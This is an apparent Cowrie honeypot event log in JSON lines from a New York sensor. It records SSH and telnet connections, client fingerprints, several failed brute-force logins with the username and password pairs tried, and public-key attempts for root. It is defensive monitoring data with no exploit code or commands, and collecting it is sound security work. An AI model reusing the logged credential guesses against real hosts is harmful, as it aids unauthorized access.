{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:01.050521Z","src_ip":"205.210.31.104","session":"995a937b84f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":47888,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96c5d6a6c97","protocol":"telnet","message":"New connection: 67.222.148.25:47888 (10.17.0.5:23) [session: a96c5d6a6c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:08.883890Z"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:09.827379Z","src_ip":"205.210.31.104","session":"995a937b84f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.490703344345093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:11.390455Z","src_ip":"50.6.8.71","session":"99165aa83571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.674827098846436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:25.827145Z","src_ip":"23.94.28.189","session":"a93bf54b5f07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":34212,"dst_ip":"159.203.135.109","dst_port":22,"session":"a207d4160d5e","protocol":"ssh","message":"New connection: 103.149.170.125:34212 (159.203.135.109:22) [session: a207d4160d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:29.245582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:29.249701Z","src_ip":"103.149.170.125","session":"a207d4160d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:29.508263Z","src_ip":"103.149.170.125","session":"a207d4160d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadim","message":"login attempt [root/vadim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:30.310133Z","src_ip":"103.149.170.125","session":"a207d4160d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.781734704971313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:30.428001Z","src_ip":"50.6.8.71","session":"bb6e24dda10d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:31.574369Z","src_ip":"103.149.170.125","session":"a207d4160d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47502,"dst_ip":"159.203.135.109","dst_port":22,"session":"16513f3078d6","protocol":"ssh","message":"New connection: 94.159.98.239:47502 (159.203.135.109:22) [session: 16513f3078d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:40.333300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:40.339984Z","src_ip":"94.159.98.239","session":"16513f3078d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:40.458709Z","src_ip":"94.159.98.239","session":"16513f3078d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uzumymw","message":"login attempt [root/uzumymw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:40.837586Z","src_ip":"94.159.98.239","session":"16513f3078d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:41.956926Z","src_ip":"94.159.98.239","session":"16513f3078d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.15484571456909,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:02:53.038643Z","src_ip":"67.222.148.25","session":"a96c5d6a6c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":41950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec0d4ff7905e","protocol":"telnet","message":"New connection: 23.94.28.189:41950 (10.17.0.5:23) [session: ec0d4ff7905e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:30.710523Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36576,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ea48c6c9d5","protocol":"ssh","message":"New connection: 80.94.92.184:36576 (159.203.135.109:22) [session: c6ea48c6c9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:31.889351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:32.047018Z","src_ip":"80.94.92.184","session":"c6ea48c6c9d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:32.051122Z","src_ip":"80.94.92.184","session":"c6ea48c6c9d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:33.545073Z","src_ip":"80.94.92.184","session":"c6ea48c6c9d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:34.726602Z","src_ip":"80.94.92.184","session":"c6ea48c6c9d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":45718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba6a7c21453","protocol":"telnet","message":"New connection: 23.94.28.189:45718 (10.17.0.5:23) [session: 2ba6a7c21453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:03:51.447758Z"}
{"eventid":"cowrie.session.closed","duration":32.87866544723511,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:03.589049Z","src_ip":"23.94.28.189","session":"ec0d4ff7905e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":13550,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b1f626341b","protocol":"ssh","message":"New connection: 176.65.132.190:13550 (10.17.0.5:22) [session: 64b1f626341b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:09.988496Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:09.995132Z","src_ip":"176.65.132.190","session":"64b1f626341b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5c84f1cb60","protocol":"ssh","message":"New connection: 51.250.105.222:33044 (159.203.135.109:22) [session: 4f5c84f1cb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:13.197237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:13.202966Z","src_ip":"51.250.105.222","session":"4f5c84f1cb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:13.331802Z","src_ip":"51.250.105.222","session":"4f5c84f1cb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"florida","message":"login attempt [root/florida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:13.718505Z","src_ip":"51.250.105.222","session":"4f5c84f1cb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:14.850178Z","src_ip":"51.250.105.222","session":"4f5c84f1cb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.599939584732056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:25.047613Z","src_ip":"23.94.28.189","session":"2ba6a7c21453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":54484,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13a3aed41ea","protocol":"ssh","message":"New connection: 148.135.70.18:54484 (10.17.0.5:22) [session: b13a3aed41ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.376925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.381477Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.450409Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:6a:f7:10:a5:29:57:e6:98:d5:25:41:d8:e9:37:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs8NfpZnGSteTNJSRPocGXFb8RQ1qEVMj9AE6i7TUESuBFnKye7BEa5CpZYLUW/IrMsik42rScdJ6UYuqburd7aBqSB9ZSQKC/tDok4io2X4cVMInJGqyzxGbw1UtSNUzJGDM0+ICjXH5LdP8UiKJBpsxy1jNX9mC79K/8wOiVUrnVDIv+YXxEOZ/U8WuhVmY5Mg0VpIdNs+ucqNFouoG+J9jVA04IKFpA9pSVqt0OPACu3SVs7rc3XT7NLBSaphyuQC2hUY3X9yTz4iXVysCx6JtWchRP4cQ+atliP+IuWCXjyFza/2k5ehR4F9nECCHS3UMGOtgS9n588yVLFaf5P1yQqjQjXMXjMc8s05VqyR+TxmlxUqkUmmpmoWigyZ69UzLkl58hvDkYokojumQIYJI3M86OHftqHwewVMF2xTq2zOJpvJ6tV9DT6Xs/NL0pFI/Zygg/l3OSMPunjFhwjEXu0KB84gy1DXgtj3KVgdwo84Fv7WpmV+IRqNgkvxNb4IdoCYFxuqj/Tq5Z0OFw6Byr7Z1+pEsJQZNMDkjnHWHNWqmQy9RuTYASJvr0yU4f7ba6GfWRfQMpDz1j/z6DVHyXO4QK2CKTiJJGPKA7Wxmz07M9tQa9gmd/Ybw4EtGjy/DCGHPSJFb6SqfFAWy2ErSkWKGlDsj4V/u+kOn1WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:6a:f7:10:a5:29:57:e6:98:d5:25:41:d8:e9:37:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.768754Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:6a:f7:10:a5:29:57:e6:98:d5:25:41:d8:e9:37:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs8NfpZnGSteTNJSRPocGXFb8RQ1qEVMj9AE6i7TUESuBFnKye7BEa5CpZYLUW/IrMsik42rScdJ6UYuqburd7aBqSB9ZSQKC/tDok4io2X4cVMInJGqyzxGbw1UtSNUzJGDM0+ICjXH5LdP8UiKJBpsxy1jNX9mC79K/8wOiVUrnVDIv+YXxEOZ/U8WuhVmY5Mg0VpIdNs+ucqNFouoG+J9jVA04IKFpA9pSVqt0OPACu3SVs7rc3XT7NLBSaphyuQC2hUY3X9yTz4iXVysCx6JtWchRP4cQ+atliP+IuWCXjyFza/2k5ehR4F9nECCHS3UMGOtgS9n588yVLFaf5P1yQqjQjXMXjMc8s05VqyR+TxmlxUqkUmmpmoWigyZ69UzLkl58hvDkYokojumQIYJI3M86OHftqHwewVMF2xTq2zOJpvJ6tV9DT6Xs/NL0pFI/Zygg/l3OSMPunjFhwjEXu0KB84gy1DXgtj3KVgdwo84Fv7WpmV+IRqNgkvxNb4IdoCYFxuqj/Tq5Z0OFw6Byr7Z1+pEsJQZNMDkjnHWHNWqmQy9RuTYASJvr0yU4f7ba6GfWRfQMpDz1j/z6DVHyXO4QK2CKTiJJGPKA7Wxmz07M9tQa9gmd/Ybw4EtGjy/DCGHPSJFb6SqfFAWy2ErSkWKGlDsj4V/u+kOn1WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.772370Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:4b:77:36:a3:97:8b:39:2c:58:96:d9:01:53:59:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE9pHDYRX0/jvVBnTG0o4OX/Q0/NOi2lXSR5U6xtlRC6vZM9N+jc0eTKDbd3cGVFwatV3nRMHU6375t+ys2uQI1Pv4KtExVNc98BCS9yN9k4gSRhOZYH0EZUdd6d99doX/Jv6eQxkhb6mUf5XFPZlXsFEZanpf8wlRCoLrF1vl55hCKtCiuIAuQQnRD9pJ7b4k/22TAi/JzOglqOvF+/bndhNFmfDt/OLOlzLe1bg98dtz7SR1WpaRFbkS2MTtuQ6ydJnL0dHH7bWjpjQBf2CmdIXaoopbg9+37aqjbV+GSW3+8rai6BF0k9Eh1zt4hcLim5gQgE1+PbZ+5fnUm6jR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:4b:77:36:a3:97:8b:39:2c:58:96:d9:01:53:59:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.840688Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
